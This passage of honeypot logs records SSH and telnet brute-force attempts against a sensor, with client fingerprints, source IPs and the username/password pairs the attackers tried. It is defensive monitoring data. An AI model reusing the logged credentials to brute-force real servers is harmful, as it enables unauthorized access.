sa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:33.638694Z","src_ip":"185.207.107.77","session":"9e8ffb1be7f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"J1t0$Tr0ng@W0rd","message":"login attempt [root/J1t0$Tr0ng@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:33.909096Z","src_ip":"185.207.107.77","session":"9e8ffb1be7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:35.001326Z","src_ip":"185.207.107.77","session":"9e8ffb1be7f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":47042,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd4316dd770f","protocol":"ssh","message":"New connection: 162.241.239.241:47042 (159.203.135.109:22) [session: bd4316dd770f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:36.128111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:36.131993Z","src_ip":"162.241.239.241","session":"bd4316dd770f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:36.161643Z","src_ip":"162.241.239.241","session":"bd4316dd770f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mexc456","message":"login attempt [root/mexc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:36.242815Z","src_ip":"162.241.239.241","session":"bd4316dd770f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:37.272777Z","src_ip":"162.241.239.241","session":"bd4316dd770f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.890164852142334,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:13:37.579460Z","src_ip":"170.64.224.25","session":"12f8df9ad274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.74579119682312,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:00.586175Z","src_ip":"170.64.224.25","session":"42baae4ddd20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58490,"dst_ip":"159.203.135.109","dst_port":23,"session":"80c032e22f50","protocol":"telnet","message":"New connection: 170.64.224.25:58490 (159.203.135.109:23) [session: 80c032e22f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:01.545131Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46800,"dst_ip":"10.17.0.5","dst_port":22,"session":"262466e26376","protocol":"ssh","message":"New connection: 91.92.40.4:46800 (10.17.0.5:22) [session: 262466e26376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:04.894431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:04.906662Z","src_ip":"91.92.40.4","session":"262466e26376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:05.082580Z","src_ip":"91.92.40.4","session":"262466e26376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pass1234","message":"login attempt [postgres/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:05.346029Z","src_ip":"91.92.40.4","session":"262466e26376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:06.435189Z","src_ip":"91.92.40.4","session":"262466e26376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35454,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e8bdc2cbccd","protocol":"ssh","message":"New connection: 103.98.149.87:35454 (10.17.0.5:22) [session: 1e8bdc2cbccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:09.541493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:09.545901Z","src_ip":"103.98.149.87","session":"1e8bdc2cbccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:09.771717Z","src_ip":"103.98.149.87","session":"1e8bdc2cbccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:10.703590Z","src_ip":"103.98.149.87","session":"1e8bdc2cbccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:11.982658Z","src_ip":"103.98.149.87","session":"1e8bdc2cbccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":13543,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad5faf019678","protocol":"ssh","message":"New connection: 178.20.210.208:13543 (159.203.135.109:22) [session: ad5faf019678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:37.766872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:37.771095Z","src_ip":"178.20.210.208","session":"ad5faf019678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:37.873003Z","src_ip":"178.20.210.208","session":"ad5faf019678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsxzj","message":"login attempt [root/1qaz2wsxzj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:38.273509Z","src_ip":"178.20.210.208","session":"ad5faf019678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41152,"dst_ip":"159.203.135.109","dst_port":23,"session":"92d66d50a95f","protocol":"telnet","message":"New connection: 170.64.224.25:41152 (159.203.135.109:23) [session: 92d66d50a95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:39.100433Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:39.377186Z","src_ip":"178.20.210.208","session":"ad5faf019678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.4256374835968,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:40.970666Z","src_ip":"170.64.224.25","session":"80c032e22f50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":50406,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ac7bee31f85","protocol":"ssh","message":"New connection: 185.242.3.195:50406 (159.203.135.109:22) [session: 9ac7bee31f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:47.721270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:47.726924Z","src_ip":"185.242.3.195","session":"9ac7bee31f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:47.810108Z","src_ip":"185.242.3.195","session":"9ac7bee31f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword!123","message":"login attempt [root/P@ssword!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:48.058821Z","src_ip":"185.242.3.195","session":"9ac7bee31f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:49.143203Z","src_ip":"185.242.3.195","session":"9ac7bee31f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35930,"dst_ip":"159.203.135.109","dst_port":23,"session":"db0fdf610e17","protocol":"telnet","message":"New connection: 170.64.224.25:35930 (159.203.135.109:23) [session: db0fdf610e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:14:51.334767Z"}
{"eventid":"cowrie.session.closed","duration":120.00299453735352,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:03.174537Z","src_ip":"170.64.224.25","session":"3040992f59d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.08445978164673,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:18.419109Z","src_ip":"170.64.224.25","session":"db0fdf610e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":40800,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f7900dec5c","protocol":"ssh","message":"New connection: 172.190.216.105:40800 (10.17.0.5:22) [session: 97f7900dec5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:31.144057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:31.455616Z","src_ip":"172.190.216.105","session":"97f7900dec5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:31.465575Z","src_ip":"172.190.216.105","session":"97f7900dec5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56640,"dst_ip":"159.203.135.109","dst_port":23,"session":"291d4cf26138","protocol":"telnet","message":"New connection: 170.64.224.25:56640 (159.203.135.109:23) [session: 291d4cf26138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:35.643799Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58986,"dst_ip":"159.203.135.109","dst_port":23,"session":"415c2b43598e","protocol":"telnet","message":"New connection: 170.64.224.25:58986 (159.203.135.109:23) [session: 415c2b43598e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:38.030574Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52602,"dst_ip":"159.203.135.109","dst_port":23,"session":"a47f2c52f401","protocol":"telnet","message":"New connection: 170.64.224.25:52602 (159.203.135.109:23) [session: a47f2c52f401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:48.572240Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass.123!@#","message":"login attempt [root/Pass.123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:50.630307Z","src_ip":"172.190.216.105","session":"97f7900dec5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.5","message":"Connection lost after 26.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:15:57.658989Z","src_ip":"172.190.216.105","session":"97f7900dec5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":49802,"dst_ip":"10.17.0.5","dst_port":22,"session":"f45c0e6ee937","protocol":"ssh","message":"New connection: 91.92.40.4:49802 (10.17.0.5:22) [session: f45c0e6ee937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:03.976856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:16:04.172565Z","src_ip":"91.92.40.4","session":"f45c0e6ee937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 